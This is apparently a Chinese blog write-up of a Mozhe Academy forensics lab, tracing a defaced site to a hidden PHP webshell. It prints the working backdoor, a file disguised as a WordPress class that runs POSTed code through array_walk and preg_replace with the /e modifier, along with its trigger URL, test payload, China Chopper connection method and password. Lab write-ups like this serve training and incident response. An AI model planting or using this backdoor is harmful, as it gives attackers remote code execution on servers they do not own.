墨者学院 - WebShell代码分析溯源(第8题)

审查代码

1、先找到黑页所在目录,观察同层级的其他文件命名和修改时间,选中可疑文件审计代码
2、没有新的发现,就去目录查找,根据最后的修改时间排查。

C:\Users\BayernChenTutu\Desktop\www_bak\fields\class-wp-rest-comment-meta-style.php

<?php
   error_reporting(0);
   $e = $_REQUEST['e'];
   $arr = array($_POST['joker'] => '|.*|e',);
   array_walk($arr, $e, '');
?>

用法: http://www.xxx.com/8.php?e=preg_replace

浏览器提交POST:joker=phpinfo();

菜刀连接用法: http://www.xxx.com/8.php?e=preg_replace

密码:joker

详解:这个后门可以在php5.3下使用,array_walk()函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。至于我们为什幺要传一个preg_replace进去

preg_replace函数原型:mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

扫描二维码关注公众号,回复: 2597975 查看本文章

特别说明: /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

意思是pattern也就是匹配模式出现/e修正符,后面的replacement就会被当作php代码执行,这样的话我们直接把 ($_POST['joker']) 这个小马运行,所以直接用菜刀链接即可

与之有相似功能的函数还有 : mb_ereg_replace() ,preg_filter()

拿到key

猜你喜欢

转载自blog.csdn.net/qq_42357070/article/details/81431338